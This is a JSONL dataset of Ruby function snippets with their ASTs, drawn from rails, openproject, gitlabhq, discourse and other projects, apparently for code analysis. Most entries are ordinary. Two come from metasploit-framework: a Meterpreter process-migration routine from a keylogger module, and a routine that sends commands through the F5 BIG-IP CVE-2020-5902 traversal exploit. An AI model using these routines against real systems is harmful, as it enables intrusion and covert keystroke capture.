{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/attachments/attachment_upload_representer.rb","start_line":70,"raw_source":"def initialize(attachment, current_user:, embed_links: false)\n          super\n\n          fog_hash = DirectFogUploader.direct_fog_hash(attachment:)\n\n          @form_url = fog_hash[:uri]\n          @form_fields = fog_hash.except :uri\n          @attachment = attachment\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"embed_links\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"fog_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DirectFogUploader\"]},\"direct_fog_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachment\"]},{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@form_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uri\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@form_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_hash\"]},\"except\",{\"type\":\"sym\",\"children\":[\"uri\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@attachment\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]}]}","id":"a109403e-6e61-4b1c-89e1-e1d37b20da21"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":111,"raw_source":"def seed_loader\n        @seed_loader ||= Rails.application\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_loader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@seed_loader\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]}]}]}","id":"db0c502e-dc37-4275-ba73-c28b7fef3533"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/common/agenda.rb","start_line":39,"raw_source":"def write_agenda_sections\n    meeting.sections.each_with_index { |section, index| write_section(section, index) }\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"write_agenda_sections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"sections\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"write_section\",{\"type\":\"lvar\",\"children\":[\"section\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}","id":"ccafc54e-899c-482c-8f34-cdf408398c9d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/unique_identifier.rb","start_line":63,"raw_source":"def encode_time\n            [time].pack('q>')\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"q>\"]}]}]}","id":"f1bddfb4-1d9c-464c-a29b-2ae0166eeb86"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/capture/keylog_recorder.rb","start_line":196,"raw_source":"def migrate(target_pid, proc_name, current_pid)\n    if !target_pid\n      print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n      return false\n    end\n\n    print_status(\"Trying #{proc_name} (#{target_pid})\")\n\n    if target_pid == current_pid\n      print_good(\"Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n      return true\n    end\n\n    begin\n      client.core.migrate(target_pid)\n      print_good(\"Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n      return true\n    rescue Rex::Post::Meterpreter::RequestError => e\n      print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n      print_error(e.to_s)\n      return false\n    end\n  end","complexity_score":68.0,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_pid\"]},{\"type\":\"arg\",\"children\":[\"proc_name\"]},{\"type\":\"arg\",\"children\":[\"current_pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not migrate to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc_name\"]}]},{\"type\":\"str\",\"children\":[\". Exiting...\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc_name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"current_pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Already in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\") as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getuid\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"core\"]},\"migrate\",{\"type\":\"lvar\",\"children\":[\"target_pid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully migrated to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\") as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getuid\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not migrate to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc_name\"]}]},{\"type\":\"str\",\"children\":[\". Exiting...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}]}]}","id":"c11a3533-0955-472f-9d97-32a20471cb60"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":2045,"raw_source":"def shallow_scope\n            @scope = @scope.new(\n              as: @scope[:shallow_prefix],\n              path: @scope[:shallow_path],\n            )\n\n            yield\n          ensure\n            @scope = @scope.parent\n          end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"shallow_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shallow_prefix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shallow_path\"]}]}]}]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"parent\"]}]}]}]}","id":"a3963454-eb6e-48dc-a298-6687737bcfa6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/dirty_test.rb","start_line":193,"raw_source":"def test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank\n    numeric_data = NumericData.new\n\n    [\"\", nil].each do |value|\n      numeric_data.bank_balance = value\n      assert_not_predicate numeric_data, :bank_balance_changed?\n      assert_nil numeric_data.bank_balance_change\n    end\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"numeric_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NumericData\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numeric_data\"]},\"bank_balance=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"numeric_data\"]},{\"type\":\"sym\",\"children\":[\"bank_balance_changed?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numeric_data\"]},\"bank_balance_change\"]}]}]}]}]}]}","id":"e1eff289-9777-4865-810d-11044a709bde"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/controllers/budgets_controller.rb","start_line":95,"raw_source":"def copy\n    source = Budget.find(params[:id].to_i)\n\n    @budget =\n      if source\n        Budget.new_copy(source)\n      else\n        Budget.new\n      end\n\n    @budget.fixed_date ||= Date.today\n\n    render action: :new, layout: !request.xhr?\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"copy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Budget\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_i\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@budget\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Budget\"]},\"new_copy\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Budget\"]},\"new\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@budget\"]},\"fixed_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"xhr?\"]},\"!\"]}]}]}]}]}]}","id":"dc84a207-618a-4ac6-92f5-f5ded5d94df3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/inboxes/conversations_controller.rb","start_line":39,"raw_source":"def update_last_seen\n    @conversation.contact_last_seen_at = DateTime.now.utc\n    @conversation.save!\n    ::Conversations::UpdateMessageStatusJob.perform_later(@conversation.id, @conversation.contact_last_seen_at)\n    head :ok\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_last_seen\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"contact_last_seen_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Conversations\"]},\"UpdateMessageStatusJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"contact_last_seen_at\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"a658c38f-7ca6-4e31-b1de-f52482819337"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/sitemap.rb","start_line":54,"raw_source":"def sitemap_topics\n    indexable_topics =\n      Topic.where(visible: true).joins(:category).where(categories: { read_restricted: false })\n\n    if name == RECENT_SITEMAP_NAME\n      indexable_topics.where(\"bumped_at > ?\", 3.days.ago).order(bumped_at: :desc)\n    elsif name == NEWS_SITEMAP_NAME\n      indexable_topics.where(\"bumped_at > ?\", 72.hours.ago).order(bumped_at: :desc)\n    else\n      offset = (name.to_i - 1) * max_page_size\n\n      indexable_topics.order(id: :asc).limit(max_page_size).offset(offset)\n    end\n  end","complexity_score":39.7,"ast_json":"{\"type\":\"def\",\"children\":[\"sitemap_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"indexable_topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"category\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_restricted\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"RECENT_SITEMAP_NAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexable_topics\"]},\"where\",{\"type\":\"str\",\"children\":[\"bumped_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"days\"]},\"ago\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bumped_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"NEWS_SITEMAP_NAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexable_topics\"]},\"where\",{\"type\":\"str\",\"children\":[\"bumped_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[72]},\"hours\"]},\"ago\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bumped_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"send\",\"children\":[null,\"max_page_size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexable_topics\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"max_page_size\"]}]},\"offset\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}]}]}]}","id":"7215febe-aca1-4717-82b0-2a5bcf4cd81f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/monitor.rb","start_line":212,"raw_source":"def event_tracking_disabled_table\n  Terminal::Table.new(\n    title: red('SNOWPLOW EVENTS (DISABLED)'),\n    rows: [[\n      <<~TEXT\n        Whoops! GitLab is not configured to send events! To resolve this issue, you can do one of:\n          1) Enable event tracking\n             - Nav to Admin area > Settings > Metrics and profiling > Event tracking\n             - Toggle \"Enable event tracking\" on\n             - Save changes\n\n          2) Set up Snowplow Micro in your GDK\n            https://gitlab-org.gitlab.io/gitlab-development-kit/howto/snowplow_micro/\n      TEXT\n    ]]\n  )\nend","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"event_tracking_disabled_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Terminal\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"red\",{\"type\":\"str\",\"children\":[\"SNOWPLOW EVENTS (DISABLED)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rows\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Whoops! GitLab is not configured to send events! To resolve this issue, you can do one of:\\n\"]},{\"type\":\"str\",\"children\":[\"  1) Enable event tracking\\n\"]},{\"type\":\"str\",\"children\":[\"     - Nav to Admin area > Settings > Metrics and profiling > Event tracking\\n\"]},{\"type\":\"str\",\"children\":[\"     - Toggle \\\"Enable event tracking\\\" on\\n\"]},{\"type\":\"str\",\"children\":[\"     - Save changes\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  2) Set up Snowplow Micro in your GDK\\n\"]},{\"type\":\"str\",\"children\":[\"    https://gitlab-org.gitlab.io/gitlab-development-kit/howto/snowplow_micro/\\n\"]}]}]}]}]}]}]}]}","id":"ace84e15-4e0b-4022-b7d3-7ef0ede18e0e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/gitlab_blob_onebox.rb","start_line":39,"raw_source":"def data\n        super.merge({ domain: \"gitlab.com/#{match[:user]}/#{match[:repo]}\" })\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo\"]}]}]}]}]}]}]}]}","id":"b0f613c6-f7ae-4760-9d0d-66d9203c74e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb","start_line":199,"raw_source":"def execute_script\n    print_status(\"Executing #{script_path}\")\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),\n      'vars_post' => {\n        'command' => \"list #{script_path}\"\n      }\n    }, 3.5)\n\n    # No response may mean the service is blocking on payload execution\n    return unless res && (error = parse_error(res))\n\n    case error\n    when /unexpected argument/\n      print_error('Alias \"list\" does not exist, attempting to create it again')\n      create_alias\n\n      # Try to execute the script again... smdh\n      return execute_script\n    when /java\\.lang\\.NullPointerException/\n      print_error('Encountered java.lang.NullPointerException, retrying!')\n\n      # XXX: Try to execute the script until we're successful\n      return execute_script\n    end\n\n    print_error(\"Failed to execute #{script_path}#{error}\")\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_script\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"script_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"dir_trav\",{\"type\":\"str\",\"children\":[\"/tmui/locallb/workspace/tmshCmd.jsp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"command\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"list \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"script_path\"]}]}]}]}]}]}]},{\"type\":\"float\",\"children\":[3.5]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[null,\"parse_error\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"unexpected argument\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Alias \\\"list\\\" does not exist, attempting to create it again\"]}]},{\"type\":\"send\",\"children\":[null,\"create_alias\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_script\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"java\\\\.lang\\\\.NullPointerException\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Encountered java.lang.NullPointerException, retrying!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_script\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to execute \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"script_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}]}","id":"998ada6f-6a20-47d3-ab6e-642937354e88"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/card_component.rb","start_line":35,"raw_source":"def parsed_body\n      body || card[:body]\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"card\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]}]}","id":"2c5eecb5-f170-4fdc-9c3f-92de0e133788"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":472,"raw_source":"def configure(conf)\n        bufconf = CompatOutputUtils.buffer_section(conf)\n        config_style = (bufconf ? :v1 : :v0)\n        if config_style == :v0\n          buf_params = {\n            \"flush_mode\" => \"interval\",\n            \"retry_type\" => \"exponential_backoff\",\n          }\n          BUFFER_PARAMS.each do |older, newer|\n            next unless newer\n            if conf.has_key?(older)\n              if older == 'buffer_queue_full_action' && conf[older] == 'exception'\n                buf_params[newer] = 'throw_exception'\n              else\n                buf_params[newer] = conf[older]\n              end\n            end\n          end\n\n          conf.elements << Fluent::Config::Element.new('buffer', 'tag', buf_params, [])\n        end\n\n        ParserUtils.convert_parser_conf(conf)\n        FormatterUtils.convert_formatter_conf(conf)\n\n        super\n\n        if config_style == :v1\n          if @buffer_config.chunk_keys == ['tag']\n            raise Fluent::ConfigError, 